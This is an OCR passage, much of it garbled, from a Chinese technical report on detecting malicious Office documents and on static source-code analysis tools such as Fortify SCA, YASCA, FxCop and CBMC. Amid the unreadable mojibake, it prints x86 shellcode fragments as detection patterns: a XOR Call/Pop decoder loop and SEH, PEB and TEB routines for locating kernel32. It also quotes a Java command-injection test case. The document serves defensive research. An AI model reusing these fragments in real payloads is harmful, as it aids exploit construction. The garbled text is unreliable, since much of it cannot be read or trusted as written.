fprintf( fp, "%08x %08x\n", *idt_ptr, *(idt_ptr+1) );//each time & » 8bytes 13 4%
/*resume emulation*/
do_cont();
/¥ P AR/
fclose( fp );
[ Y
free( buffer );
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4.2.3 = & #'& 4 Shellcode

AERT A E - PR AR R R Y RO T g A

| <

Fa B OERAANE TR AR ¢ 7 P BRBIER > A B EEHT R D

Fhk 2 S EETESRR o WPl ATACT B ATT
% 4-65 HF LA AZ E

Office < i
&4
VRAFE AN
v
7 ¥ pl At
= OLE Vulnerabilit
LR CE N CEAN Eh RN Y
F4a
PE Header
Import Table
Function Table
\ 4

Call/Pop # #5

\ 4

PEB/TEB/SHE Loading
¥

MTEEAP AT RIS FRFERY DD L L FAPE AL
R Y- - P

® " % 4
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i ™ HpINA - R AR R RS R AR FETREHMY

RIS R R R R B R 52 g

| —
(=
3=
38
N
X
.-l—
~
-4
o~
e
=k
S
=

o

|~
for
T4
N

AETER e VAT R P R e AR (e R P RAERE) DT
a]:x

RN CE R T STy AR I S et ST T SN

~
N\
oy
A
%
ai

uss
fim
Rl
~xbe
Ny
5
&
P2y
&
\a<
R
-k
=
b=
&
).
e
Rl
0
IR

it
Rz o ZEMHFIpFGE RS AT e EFORRIZHE - KEF A

A

g:

BEBOERE S R TR ELE T R AT RTE o fIT L RA T E

PHKH NIRRT E ¢ 50

T—\-'\\
o
'.3\
=
ok
[E
5

¥
=5
fiﬂ
&
|4
=
>_L
"3‘
Ii

FAET P R AR G R G -
pU R4 e v 24 o1 38 (Regular Expression)te Ak P AF 77 F R F

PR AP ¢35

IP o 4r 140.113.1.1 ~ 72.65.11.101

URI ° 4r http://www.hinet.net ~ ftp://fadsaf.dsafdsaf.dsafdsa
Windows UNC Path ° 4 c:\windows\ -~ d:

Linux Path o 4=/usr/bin ~ /bin/sh

iframe tag ° 4c<iframe:-----+----- </iframe>
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embed tag ° ¥r<embed----eeeeeee- </embed>
Windows ¥ 3 {7 #§ ;nf]u_ 4 winword.exe ~ command.com ~ autoexec.bat

HEHF IR ERE

Pl ERAFIY @Y FHEN IR > R PHHPR T BE
A3 EFehf e Ao T EREREIMF RS > LFrrlfph tApk o o
WEF AR AL KR T AL TERL AR ORM L & T

FU* PR R KB RGP EARR PN F R BT AR o BN RIOA,

AR SN o

MZPE #5 A 41 &$ » ¥ & APl # &

94

ST o G MZPE cfh R N it ERT AP AR A8 BT k0 8

7 34T endt o~ 305Y & (Import table) % A 47 3% 4% & 2 F § »F el K RT3 o

& ;8 R e 3% i@ Windows ¥ L] TR R g 4= A EHALP B ¢h 2

NS

dngb e B KT ¢ B I (R SR A R T sy -
TP A AR ST R AR A ERF S o dedeet el 3 R L H ootk I

FOoRIEEARER Y o o
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IR N TN BT AR P AR o He SRR 0 AR A B K AT

%ﬁ&ﬁ%éﬂﬁﬁﬂﬁwmmmmséﬁv@ﬁi%%ﬁfv‘%ﬁb’ﬁ'

i

TSR AMINE o HY 5T UAEER R FE AL FERE R
FERHE I o ST FE A § I L R 3 5 ki D5 eh
i% 0 blde D Keystroke 1 ZPotE S S ~ AF R E L AR C BEABETE - 5 i
FaFAwgE T A LT R)T ﬁ’ﬂk’ﬁuﬁﬁiﬁ%%%ﬁo
B h
% 8 # fc e (Signature-based) + ¥ K (B it S AT S A B RS o d A&
SRR TR RN FE I 4 TR B A T o BiE TR AT
MR N R R RCE RVR I EE A R R P2 AL o ¥ & drande BN
KPP LT 4eRNFL - HAWEZT LA HIEF AT 1 - )
S AriFpCiE v S o) T (Entropy) A4 o B A BV AT B drande S

RS R SRR 3

~

~N|

b

oo AN BARN L T R R EE S € A

pris
f‘m

SRS c FAP LR

it

A2 LE 0 JE B T A S B A s
- fde SoEndEACE o BB T - Bt o B o A ?;IL’@'A\*’?;%‘EL'T g o

RAFEFTREA

Entropy » # - Bzt rena drdir i R ol o wdf- BaEZ P p

¥
g\

PR AT ED SR NPERF SN RA g FAAE pl) 0 £

ﬂt
i
=
R
Al
R\
‘_
dor
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H(x) = —Ep(i) log, p(i),n; & 7 (0x00~0xFF)

T H(x)ﬁfa{;f;\ A2 2Entropy Eofl* ARE T AF RAETER FAHLTE G K

E R BTG EE B AR FAG 0 FE AR TR TS
AR - FafBSddg s A 5 €5 - LAVER > BRI F PO RFF AR

SRR o AT A BRI AR A B R A BN B o EE B RN

PR ABF AN FHHALCE S R AR IRER PTG

—_

B W R AT AR LT S R e o R H 4 T U TR entropy
P B o

# 42 Call/Pop & 7]

PR RERAENFER T Fh R T e PR AEH TR AL
FD) S A e Tt L B BT e S w ,z,T*zgf | % Call/Pop F 7| kB~iF gt 2ot
i ht o

EANAED el SR T lfu—F’]‘ ig*ﬂ’“ PHEAhE > f1* x86 F £FE » BP ik
PRy 1T x86 chdp £ A iR 0 HH K el x86 A2 AE 0 A Hdp 4
A0 % 5 Calldump sefEag 3oy £ o 7.%1%:.; BYFEFoB % - B Cal
dg £ i NP gE T - B x86cpu R FE KL FERGT 0 B - BALSHET R
i Call 45 4 > £ kW] push :&3 freeip @A & o R {8 B D P 4R A4
ZP g B - BT o REERAALT RS2 F RN IR ep B0 F
3R A g2 CalllPop &tk 2 B~ p 2 IR Y g i fj*u
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BT AR RN o AR BT o A TN BT R e A
Bode (70 b e RS F BN 0 L AR s Bk P o TR & iR

41— B Call/Pop & 71 -

Example:

01 jmp code4d

02 code2:

03 pop ebx

04 xor ecx,ecx

05 mov eax, 090909090h
06 codel:

07 xor dword ptr [ebx+ecx*4], eax
08 inc cx

09 cmp cx, 03ah

10jl  codel

11jmp code3

12 code4:

13 call code2

14 code3:

"t G - Heoshellcode A25% #5 ¢ - B et e o B 01 (7 P 17 call B3]
12 {7 ercoded iz % o E i+ #4a Call/Pop =% = B 8_i€_13 {7 7o call code2 gt w 02
Tied™ k0378 4417 popebx - f‘j-%'f’ = hIE] 13 (7 encall #riniesadp @ ahie
B R B ko A AN AT SR T S o

## PEB/TEB/SEH Loading

ERAAN L0 B AT & ekt WIin32 (h APl @ & 7513

B APl chieyk o Bk * ek R4 FS 4% B¢ 9 SEH,TEB, PEB 2= B 74
BHERE D

AT DR RS B TR BHT AR BRE  T A



FS:[0x00] ~ FS:[0x18] ~ FS:[0X30]is= B ¥ = » B » B AT 758 n(E o A 1 Afe

B FOERY > ST R-E TR s R BB T F AP DE 0 AL

At

Vi FE R g & 4F 0 5~ FS:[0x00] ~ FS:[0x18] ~ FS:[0x30]iz = B = 7R = B 4F
FR B PFIE ;T‘.%%l o AT EREE % 3 2 3 B~ SEH, TEB,PEB » 3% @ ¢ 49 F]t (8

B WIn32 sh AP e il i > K$HR ¥ ¥ eh b sig (7 -

Examplel (SEH Loading):
01 xor ecx, ecx

02 mov esi, fs :[ ecx ]

03 find_seh:

04 mov eax,[ esi |

05 mov esi, eax

06 cmp [ eax ], ecx

07 jns find_seh

08 mov eax, [ eax + 0x04 ]
09 find_kernel32_base :
10 dec eax

11 xor ax, ax

12 cmp word ptr [ eax ], Ox5a4d
13 jne find_kernel32_base

2+ 5 — 4 ¥ shellcode 4] * SEH Loading 2~ Kernel32.dll sz st e ] >
& 01 {7 L #-ecx jF 0 02 7 £ #-fs:[ecx] > = yjk{ FS[Ox00]:# 3 esi > ¢t 3=t
Wb 0T g GBS P end AN ¢ e fi R B handler LB At ) Rk eniE &
A g &4 0 FELE ~ FS[0X00] 0 iE o jer ph iz B < RlAH %3 % & SEH

Loading 7 3 o
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"

Example2 (PEB Loading):

01 xor eax,eax

02 mov eax,dword ptr FS:[030h]

03 mov eax,DWORD PTR [eax+0ch]
04 mov esi,DWORD PTR [eax+01ch]
05 lodsd

06 mov eax,dword ptr [eax+8h]

% — f§ H shellcode 41 * PEB Loading 21 Kernel32.dll i 4t en§

B o

02 {7 & 2 #-FS:[030h]2f 1 %k » % 2 i el 454258 3 s ot B cnie 220 i

o AT 0 T A ~ FS:[Ox30]eh sk E > f € 4 Mz BAh% F PEB Loading

= ¥
7

o

Example3 (TEB Loading):

01 xor esi, esi

02 mov esi, fs :[ esi+ 0x18 ] // TEB
03 mov eax, [esi+4]

04 mov eax, [ eax - Ox1c ] // #5[q] Kernel32.dll [N E)
05 find_kernel32_base :
06 dec eax // 4GB 082X Kernel32 ZE (]

07 xor ax , ax
08 cmp word ptr [ eax ], 0x5a4d // "MZ"

- f5 H shellcode 4]* TEB Loading ®{¥ Kernel32.dll iz nt e

B o ?

EA

02 {7 e > fs:[esi+ 0x18 I3 3| esi> #-TEB g 3§ 1) > 3f B~ chps i € AR50

R L R v Kl =

FAPIEL AL TEB avig » i ¥ #0F) ¢

TEB Loading &7 % o

277

). ‘

Pl 5



B. ¥ R 475 IRk 4 7

4.2.4 R 3055 0 A S50

HRAFBEFENZ 2D G5 * Apg FicmF B s 47377
ERAENN R ag T B UERE BN =T e

* %3 %4 7 (Lexical Analysis)

—\

e *

=)

SARN e gk f o

~=de
%‘%

17 % 20350 FRAVET LR 0l §

\

3 ARSI 0 E R TR FEen S S R TR

SN EEDRFFTHAEALNTZ >IN X DBRFFTHRENFLE L %

™

-

SV kN 0 4o Java APl en 7 sE 2k @+ 2 2 (deprecated method) » 2R C3E S o
;B¢ % i3 = buffer overflow &7 strepy() 72% ~ % 33k format string 33 2L 0 printf()
3% 0 & VB.NET eh% & = ;2 » 4r FileUpload & % -

ER AN RBE A FF P 4 Ntk A D 22T 24 5 (Non-regular
Pattern)er33 8L > (2 F 42X BEH A 45 R P 8 S 4k 0 JFEEd F SRk engIv

MR 0 A iR e W TR E AR H2u]

o {4 i% & & $7(Constraints Analysis)

e
Sy

GALinE RS DA BT PR T 0 f g XA e

&

% buffer overflow 33 BLed 3% > — S R Fl37 3058 3 T—zﬁFﬁ%] »igE FE B ATiE A o

Ao o FEd LRI R R R AR SN R Y FER IR AR
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3 Aot C 3% 3 e strepy(dest, sre) s 3V 0 #7380 2t L ,T}n-\src R R R

7 {BAZHE dest AR A iRenx o] o ¥ — B LG+ RIEMEA] % 5] (index) A e B

FREAFTH L FRE doF LBEAGER PTG R L 2RF AL -

S /

T_o

3N

e i N 50 RER
SER R JARE

it
2
il
)
s
>
>m
—t
3
i
\ &
»
=3
et
2
£

- TERGEE IR T AR Y N fﬁ‘fﬁ;:g% ] 577*2 4 (Integer Range Constraint) »

1 Bl# (Graph-Theoretic) s 77 3 & 1‘?,?7_,% iZ R o Bldr

inta =rand()%7; Range[a]=0~6
intb=a*3+2; Range[b]=2~20
char dest[10]; Range[dest]=0~9
char *src = (char *)malloc(b); Range[src]=2~20
strcpy(dest,src);

M NRange[src]<Range[deSt]<MAXRange[src]
(Range constraint violation)

o 423V n 424 45 (Flow-based Analysis)

AR AT A A A A RN o A AR AR
(Control-flow)£# 3L/ (Data-flow)srfp B 3t & > ¢ FF FARR s 224858 7w o § #ic
ch1 B ¢ #* & Bl(Directed graph) i & HRAZ O AL B 2w fhenig
(Edge) * % %3\ 2 FLi v o & 2L(Node) B] 1% # 2% > 4p B enAg 38 78 & T4 A6
F o BRARS 0T 5 2 B ERGE

afENZ 2RY 2w 0 T4 A 7(Taint Analysis) 3¢ I(iifi o dlenFoR A
* 4 F o (tainteddata) » £ # AT LA TR ESFFTRALAT o BT Z 2 F

AL TEBRPARNELL 2RF TR TR ERAS G 7 L Xk(source)
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& 4 FOoRLR (data-flow) ~ 7 Z T AL E S N 7 A 4 2 %7 (pass-through) ~ % 47 3¢

tet 2B (sink) o 4ot T g 1A o filext FECFALE 0 - @B FRIE

#2 > & {53 » RichTextBox1.Text &3¢ » ¥ &t ¥ 3k Denial of Service /& o

Imports System
Imports System.lO
Imports System.Text

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles MyBase.Load

End Sub
Private Sub Buttonl Click(ByVal sender As System.Object, ByVal e
As System.EventArgs) Handles Button1.Click
Using sr As StreamReader = New StreamReader("file.txt")

Dim line As String

o N

line = sr.ReadLine()

RichTextBox1.Text = RichTextBox1l.Text & line &
ControlChars.NewLine

Loop Until line Is Nothing

sr.Close()

End Using
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Bl it ¥ % (Model checking)#-% % > 4238 7 4 1

state automata,FSA) & frie i ik 5> bi4e C 7 3 *F Unix Bt

¥ seteuid(0)B~

B BF R T execl()ié * iR 4 BRFRITIHERIBE > 2T

T OFSA H-E 4 ot

l«

I R ek

[ElZ% 4-66FSA Model

SEtEUId )

0ther<::; unpriv
noexec

seteuﬁd(I

priv
noexec

Qother

execl()

priv
exec

execl()

R A et > Rl A T A e it R b R F S L

>R o
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4.2.5 R4 # &4 740 M 3RAL

HE-FER MR BEmA e HE 22> MAFHE REP L3 73
i#l(undecidable problem) » ;2 7 & & i &t B Fx 2] T R 4423 £6 # P (static source
code analysis)B& 78 5 2t L % 4] 5 8 A £ n Rhe AR5 RS KRR BT R E R IR 0 AP
FHATWM A E T A AN 2R P R e e
RNKFE 2 B AILE 2IFF o UH AN 2P ET A

0 B UERE PN F R RSB EGRRDT T Bk o R I E

1. ZgrE (Precision) @ d *tiE 3 1373 2 DL T TN 0 F AT
LRV Nl FIA o AL 5 Z 3 —3EF] (False positive ~ False alarm)£ & &
(False negative) o 32| & % > e N B BB 52 72 X 2~ A R
BRSBTS AR R AL o B fra e AR TR 0 e SR IR
wF L FRY FVEAHELALAE- oA ARNEFURALA @
FHEL o FPRIE R AR 2 RFEH AT LR
2. A 17 (Analysis Time) @ 7@ FiTi > 2 - @ % 33047 2 ena 47 € * hidk
AEEFAARR KT EFLAVTLIEFT I B F LR Ry oy

WHEAAG 5 RMI -

3. IPF HLHC (Scalability): 5 7 2 ¥ it T AANE 2AEF O THRS RiBE



PIF B > 1R

BiFFA O R RIFRS S G F
LA AR o e L
wiEEP

» L &
FU B T R S IF A R TR

&
9

Ik

P B
BREF AT S R L
AL EPE

/
/

Lzt B RN R R4
B A

Ecia
217

A
e
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4.2.6 RipmEFLA1TEELET

Flia RSB BI L E R Y ha 45323 0 4547 Bk 2 Hipla 4 4P
He €37 F  HoOFER FRBLEVT R EEFRAAAF - Rl 4 Fule
AL A PELEBRAGEFEAIFIENE - T 5, ¥l e
WG EmE- HER > 1 B2 B ptas FFIA -

EERLELL 71 E & 35 Fortify SCA» H 5 F oy £ 408> 4

-z
&0 7

‘%*%
i

\4

R AT S R N R0 ek 2 0 X R4 SvF 4 EPN AR SR U e R LR

moE R ﬂ B 37& > A2V 2P (Custom Rule)sdE 8 74 5y » %ﬁﬂ 4v ~ Fortify
SCA e3P » K22 BT ATHRBNBER S AT 1 B4 e E 5 - £ %P E
T CETHFAEAIIE CBMC 1* CBMC #3° C 3 L5 R # 4 (Array
bound check)is # » k34 Fortify SCA fep > m 2 2 &5 A 471 B4 @ 3 Java #

-

Ak~ 471 E YASCA>YASCA 5 &£ 7 5 2# i~ 171 & » ¢ 3 FindBugs (Java) ~ PMD

&

(Java) ~ JLint (Java) ~ JavaScript Lint (JavaScript) ~ PHPLint (PHP) ~ CppCheck (C++) ~
RATS (C/C++/Perl/PHP/Python) ~ Pixy (PHP)% > & & 11 F NJEF ik pl1 £ 2. 4
$73R 2 » ¥ ¥ pl3E S ¢ 45 C/ C++ / PHP / Java / .NET / JavaSCript / Perl / Python ;
371 E s 2 3£ VB.INET & 71 & FxCop FxCop % .NET frassembly 2. #& f|1 &
Mo LT S P s B L YASCA -~ FxCop ~ 22 CBMC > 125 48 Fortify % Java 22 VB.NET
3% 3 ¥ ¥t Coding style ~ Dead lock ¥2 Thread issue % X482 & P|ic # ,%%’J‘z 4y
BEEIE DA YT 4 0 BH B URF RN A 27 o
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/:‘ """1E *#_{1‘7'1‘ g]

[E% 4-67 ZHRHEIE

Fortify SCA (Multi-language)
Source
Program
< (BMC(C/CH+) | Report
-C++ Gl Vulnerability
PHP ~Render Report
Java YASCA (Multi-language) rer;c;rct; of - GUI, Text
. -VB.NET
N— analysis -. report |
FxCop(.NET) ' tools

B T AR T 0 AT A R RIS ki B AR R T
( C/C++/PHP/Java/VB.NET ) » M6 N FARS R HF L A1 2 » £ 1 2 e iy
%% 4% £ 518 Report Analyzer it {7 P B A EE L GUI A G A2

A IR AT SRR B AE L RLBE 2T L DI SRR G

o B oM BRF TR FREFATEL Ao RRET KRR R E

Fle B 1 LBl R AR RS P FAE T F AR NPOR TR SN
32 Ao N o BB R agRIE L @4 S B - 5% > i+ 4 Report Analyzer
3 & 10T o J{AE L > 5% 4p ¥ R0 Report parser § F P& 1 LR
T B RFIG MR RT RS R E TR B A
GUI T & /G » & i ™ FaT fgiwdtis > B HTML K 6 3R -
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. - & M N\ g4 - .
MRS AT S G
=] ya N7 L AN
&% 4-68 ArFEsrE
'EI Integrated Source Code Analysis User Intm
File Setting Help
D@8 % |8
Cisinglefile @ batch  [Jaya -] C\Users\aaron\Desktop\ISCA_test\ISCA_JAVA_TEST (] SCAN
Analysis Report AliasingS_wrijava  |Arraysé_emd injectjava i
a4 Aliasing5_wrt java:41 15+ -
7 Unreleased Resource: Stream 16 * @servlet description = "strong updates to array elements"
I Fortfy SCA 1; : gsewletvu\n_count= "
“ PMD: Writing to a File 19 public class Arrays6 extends BasicTestCase implements MicraTestCase {
Il YASCA (71.68%) 20 pratected void doGet(HttpSendetRequest req, HitpSenstRespanse resp) throws I0Exception {
4 Arraysb_cmd_injectjava:27 21 String name = req.getParameter("name");
4 Command Injection 22 String[ amay = new String[10];
I Fortify SCA (72.67%) 23 - B
4 Unchecked Retum Value 24 anay(0] = "abe;
25 array[0] = name;
M Fortify SCA 25
4 Process Conirol ¥ umimegefumimeQerecanm(O)  ABADY
YASCA (72.67%) 28
|| 4 Basicissjava:2s 29 L
4 Cross-Site Scripting: Reflactec 20 public St{'"g getDescription( { . 3
31 return "strong updates to array elements”;
[l Fortify SCA (93.04%) 32
a Basic3_xssjava:Zl 33
4 Missing Check against Null 34 publicint getVulnerabilityCount() |
Fortify SCA 35 return 1;
I Foriify e }
37} -
4 n ] » 4 »
Analysis Type: Summary | Detail | Recommendation
Single file analysis Recommendation B
File/Di -
= EEATEIRERTEREAESINT - SPLERSHASTIESATHERT - AENEAERELATHRSESETE |E|
BEAER - DSSAEREREENNE  JEEISSRT RSN ERER 2 RS ETEERINES & S EREEEER
Language: TEEES -
J
e EESCEASHAEREETNTRNCIEE  EssEtInENESeEx T ABEN LT EEERESE  ENEE
T BRASEENHZEEREEE c fEHRASNE  EREo SRR ERNBRTIRAERRNTEL - E2 - #T—EAT
SFINEEETUARREE  UESHEENBRBNTETHNLAS - WFNAZSRUTIMNESEE  AFILERWAPHTT :  _
\
4 - 4o B o= -
5 H ’—*rﬁ -+ }% 7T .
= PAN 7 £
[E% 4-69 TP EEEBR
Issue #5:
Name: Process Control
Tool Reported: YASCA
Certainty: Medium Accuracy: 7267%

Detail

The System getRuntime() exec() function is dangerous because it starts a new praocess to the passed-in executable The new process
executes with the same rights as the JVM. User input should always be strictly sanitized before being passed into the exec() function,
and avoided completely if possible.

References

Fortify/ulncat - Process Control
Java Enterprise Rootkits

Location: Basic3_xss.java:25

Issue #6:

Name: Cross-Site Scripting: Reflected

Tool Reported: Fortify SCA

Certainty: Critical Accuracy: 93.04%
Summary

B B SN 2B S BRI ESR TE S5

Detail
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4.2.7 1 & w4 BFES B g K B3R

BEAET SR T - A LA FIRE A1 LERF R 0 d 0 2

Eo5ae A A - o ¥ A4 32 (false positive) & A # 1! (false negative) % -

AL R 2R RIS T ARA S S ()R EE % 2R 2 (2)
i‘" F‘/"Z"?f ﬂ'}‘/':'"J"bﬁ @lfl‘?‘ﬁﬂ;’/%,ﬂffﬁ’ "; *7/%/}1F' ﬁﬁ
AN L

P(real_vuln | detect )

_ P(real vuln n detect)
B P(detect)

BC-FN

— __BC+GC
= FP+(BC—FN)
BC+GC

BC—FN
FP+(BC—FN)

H ¢ real_vuln & 4 Fx*7 Bk ~ detect % 1 £ w 3R/ F ~ BC 5 badcase #¥ ~ GC
% good case #ic® ~ FN % false negative #ic® ~ FP % false positive #c& o 395"
DR APTd RAPIREFFRL L EHPFTCRE DT ERF o
"1EwSERES T 0% MBI E wIRE 2RI RAEP H R D AR
foo ST A HRRIT B R R o f 01 B GRATR 4 E
BPF S M1 EwRRA ST A A LR A FRBAY RE P 1B w g

TR AN o B EAS D AR - R EFAHFF o RN
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= L

L2 HARREE 2L
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428 Ry BELAYLIE —LBI1EAY

T e — A RN PRAEFEAAT S 0 AIEE Y A
1L e gw- ERFEHE® HCBMC L3425 f3F 3 kPl £ YASCA ~ 1Y
VB.NET 3 i ehig |1 E FxCop ™ % ¥ % enf ¥ ##¥ Fortify SCA -

CBMC(Univ. of Carnegie Mellon)

CBMC &_4*#+ ANSI-C #2 5% e:8 B #-7) 14 /p] % (Bounded Model Checker) - H ¥
oo A 7 28 R 4 (array bounds or buffer overflows) ~ 1p %% 2 {2 (pointer
safety) ~ ] ¢} (exceptions) % % § g * —"ﬂz # (user-specified assertions) » p* ¢} »
T 7 RIEE ANSI-C ~ CH¥FH 18 222 - X Bilde Verilog o 3538 75 it ;‘gﬁ #fe
;C 4@ e Bl B B (unwinding the loops) ¥ #- % &% & v % 2| %7 42 & (decision
procedure) k % = o

w EE B o™ (1) 2 while 1 [B] » #-F B B2 & (loop iteration)4T
f# = if 4cif (statement) > (2) ¥>% & K (nested) while 3% B] » 12 switch 4cit 47 f# p

B XATH - R EC R AN ACE R A - BE B B 4

—
5!’"/"’{"(1) .

while (e) if (e) {

<stmt> <stmt>
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while (e’)

inst;

fim(2) :

while (B1) { while (vpc <= 2) {
<sl> switch (vpc) {
while (B2) { case 1:
<s2> if (B1) { <s1>; vpc=2;}
} else {vpc=3;}
} break;
case 2:
if (B2) { <s2>;}
else {vpc=1;}

break;

YASCA (OWASP Security Project)

YASCA H_5 7 FTEt 238K i 5 BB eng T A B AR A K3 P DR
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£-4F QA RIZE 2 & 2RI BLR] o YASCA FEd B & 3% § chB s Rde Rt Rl % 0 @

7 FindBugs ~ PMD ~ JLint ~ JavaScript ~ PHPLint ~ CppCheck ~ ClamAV ~ RATS ¥2 Pixy

>

FABHPIIE > UEDRG 26 THFR A7 0 @ YASCA » ik F Aoy A2
430 s 2 5 HTML ~ XML 227 CSV % % #2378 o YASCA H 454404 B350 8 N 4E
(coding style) ~ 7+ % i 4% (dead lock) 2 34 {7 ¥ 4p B F° %Z(thread issue) & % » E f4F
et B e 4o

FxCop (Microsoft Inc.)

FxCop ¥_d Microsoft #& & » %F.NET managed code assembly ¥ ip| 9 m 4075 #

&
[e=2

AT B0 A& * kA7 NET HF B 4 5 managed code assembly & F 0+
£ 46 26 BN E 2L E R VE R AR AL 0 T IR 3R L HNET Hae iz
3 (C#, VB.NET..)B > { st it R fridid B -3V % %5 B ¥ 2128 % -FxCop

FNET % 2 M3R4EF BRI P £ 2838 > (£ 40T &

A% 4-16FxCop %f.NET 2= M

Aptca methods should only call aptca methods

Aptca types should only extend aptca base types

Array fields should not be read only

Call GC.KeepAlive when using native resources

Catch non-CLSCompliant exceptions in general handlers
Do not declare read only mutable reference types

Do not indirectly expose methods with link demands
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Method security should be a superset of type

Override link demands should be identical to base

Pointers should not be visible

Review declarative security on value types

Review deny and permit only usage

Review imperative security

Review sql queries for security vulnerabilities

Review suppress unmanaged code security usage

Review visible event handlers

Seal methods that satisfy private interfaces

Secure asserts

Secure GetObjectData overrides

Secure serialization constructors

Secured types should not expose fields

Security transparent assemblies should not contain security critical
code

Security transparent code should not assert

Security transparent methods should not call non-public members

Specify marshaling for pinvoke string arguments
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Static constructors should be private
Type link demands require inheritance demands

Wrap vulnerable finally clauses in outer try

Fortify SCA (Fortify Inc.)

FEHM> 6 > APR-EaLg P % Fortify SCA(Fortify Software Inc.) : Fortify
SCA (source code analyzer)i & F AL/~ 47 (data-flow analysis) ~ ¥ #]iw A~ 47
(control-flow analysis) ~ 3% & 4 #5 (semantic analysis) ~ % f# % +1  (structural
analysis) ~ fiz ¥ 4 47 (configuration analysis) » 14 T & - £ 5 o
1. F x4 47 (data-flow analysis) :

Pl F A7 AT (tainted data— i ¥ F 33l chdy » B G R ¥
2R o B 2B S ARR MR L adtd A~ 1T 0 B source (¢ % -“ﬁﬁi%]% %)
o sink (/& " 3% e v 24 )2 BRI E B o Gl — RN & Kl
2P A R RhF R AT RN EARTHE FF (buffer
overflow) » £ iRl & * o 4] en% PEZIATY RZHESQLAEY F -

2. 4% A 5 (control-flow analysis) :

WORl B NIER R o T A ATARS Y IS 0 M H -k P ek F

AT - VR o blde DAl AT B g ORI RS R A e 1 Rk

A B ER /R R SR E XML R EE A 2N D E e 1R .
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3. % R 4 ¥7(semantic analysis) :

FEAPTEE BARA M K % (intra-procedural level)s i B ¥ & F 5 '& (i
2APLH E o H sk ik e E € 48 F buffer overflow~format string vulnerabilities
TP FRZENIE ) B3 7 RN c FAATRE BT D%
Sisleked o Glde D ERAITE E WP Java ¢ 2 Zk @ * h2 2 (deprecated
method)fe C/C++¥ % & 2 e ffc > 4v gets() ©
4. i/ 7 (structural analysis)

BHATEE BRSHEY BADEeRA SRS TE - BHEAITET O
JRARst eiE S 5 M R[E 2N KPR E R 0 Fle ZHEP LR R
i et Fem SR BRI ThE B ORI R B BRI R BHEAITEE R A
Java servlets » 4 %3] = B 81 (7345 Logger Not Declared Static Final #7%
* o TARiescit - B A fr@m &2 3 {7 ¢ Dead Code §F & ©
5. pe ¥ 4 $7(configuration analysis) :

fel 447 % ¢ ™ 4255 3% % fe ¥ A% (application deployment configuration
files)? ¥F 453~ iBFfriE & Rk nfF) o blde D e 237 E € & web B * 42

FEnRo @Y AR A £ aug P -
FeEn I AT o Fortify SCA 3% 7 & B R4 A 4785 0 &

HEIRAULRSE 2FRF > DA A FEEE G L hE 2 RIS

$HE R SRR RTINS 2R BN 2SRRI F 2 AT #
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$o 7 Ko Fortify SCA 3 i@ % # f 7% 2 AR RRER # o > B NG o &

F AT 5 AR R AR S A 1

Rie

MO FERATERS SN X 2R EGRIE PR DED 0 T AT
Fapal€ 2R P2 b R > FIe R R I HERES2RFT
i 4 % > 4usg Fortify SCA #&iplic # o

BRTARNE AP R 3 #& Fortify SCA 75 A 47 #-3¢

& \
&5
st
F_L
hud
A
=
O~

[x)
N
=5

A 2SN A AR RN F AT X FERE DARP e FFE RN
AFRENE DR o FI 0 PATARNE DT TR T 34 SR

(third-party APIs) ~ % F4F 3 SV B > S5V (V3 72 ) 5 pam R HEBAAE = o
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43 R (S HHRR )2

SHBEFHIREE  F oA AHE AL 2R Rk (T

=)

R EF A UskEY GRS R o ¥ 304 )

$ 0 MR A AS

o

BEASFTZALE S TP o H e B A K o

A e EAHE

& * & LiveCD B 4% > 117 boot: F i PFf enter 34 - B3 E 6 4T
7% 4-70 FE 2 Al 247 et

Live session user & i Wed Jan 7, 4:59 PM

Q Applications Places System e@g

Examples

DirForenser.sh

Forenser.sh

a

H ¢ 1 Forenser.sh ¥ 4%+ ¥ — 4% %2 {7 & 47 » DirForenser.sh B| ¥ %t— P &%

TR REFEANT(F ¢ T P &) S F AT P AR > v DirForensersh iy

’ 2

% FE B FOS TS 0 @ Forensersh € 7] 4 R A 47 4 o

It
(\s,
RS

i

=
014\
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AL A AT AR 2 Blor 8 0 EP"Runin terminal”

[ 4-71 {5 28870

.

-

E

/'\ Do you want to run "Forenser.sh",
\Q/ or display its contents?

"Forenser.sh" is an executable text file,

| Run in Terminal | | Display | { QQEHCEI J | Bun

B - Bk hAas i e 2

@ 4-72 fFEF RN AR SR

—
- rur

|P|ease input pe’4 \of target file, or use the Browse button to choose

BHET A AN AT D bR E T A 1 i et
DS AEE R R e Bl PR ERLE T BTV RA o A

AT o ¢ Bne 30 AR A TN T Ak LB ER A A

7
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IR R
FHERLATHRE T EHE o
AT R RS R - AT R R RS M

LERICTTE RECEREE ST S

executable file” & £ 21 & o 4o B #7o7

e FTIR P A ITIE D R R o AT T L b & 7

o

Hp —— ”

IFg 1F

TR EMR S PRE D

£ MZPE #& 3% » #- ) ZL.”Warning: This is an

75 4-73 K2 ki L2 S s B 252

N

Unix Path found
Packed section found
! Packer found
X
1 Advice:
L L Please do not open or execute this file,
1

1/ Result: SUSpICIDDS:::::::—r “““““
g Warning! This is an executable | P
Threats: "7 TTTToooo

. Please convert the file format before opening it.

—— - ————

LS

AN PRERAS G

® Safe(% )

PR A TR 0 AT 7
® Almost Clean(iT % 2)
PRl A 7 ARt - W ImA 5§
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/

ERTRPAEE T

o

B

L R M i Bt R

i

% > gz

FRFE R FRARR



G
-

BEFTRAFE AT L AEFEEALR
® Suspicious(¥ %)
PHEAAT AR 5 - B PRI D F R Y RGERE AR
AT AR RJR(E T BT e
® Malicious(E &)

P ¥FE% 7 7 SEH/TEB/PEB Loading e & 42345 » 37 B x

[ 7% 4-74%F B $%E{ TRREEAY DirForenser.shi (i F 774

J— =

Please input path of target directory l ’ H

’

F_&

BT E - R R R F L

=

I Rl =

o

F¥ usbig L ? i X P P &K % /media/diske ® T 2 5 - ERER )
SRATRY E DB EMFRER o PP FREL AN Y E BALE G

*PARRF T F A Fwhs 45 T35 * Forenser.pye 3ii & DirForenser.py
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¥HE BRFEFTOL T2 Forenserpy T & > T ASEIRL IR

BT EH AR

[ 4-75FEZEAR M S TSR

]

Forenser - || X

fhomejcustom/Desktop

Analysistconplere!] @

Analysis complete,
You can now view the report or save it to disk.

File Format Analysis complete!
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4.3.1

7% OLE

.

T ERRRPREESREL

ik 11 % call/pop sfidoc th % 1

-

AnglysisCornplete? @

-
I
I
\

L

Result : Suspicious

Threats:

Advice:
1. Please do not open or execute this file,
2. Please convert the file format before opening it.

-

FoTEnser:

‘fmediafdiskaordQOO?OQz 1-2k/2007-EEE AT doc

Analysis complete!
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% % OLE FF ™2 % call/pop &1 doc A % 2

| AnglysisCornplete? @
I/ Result : Suspicious
E\:T:fl
Threats:
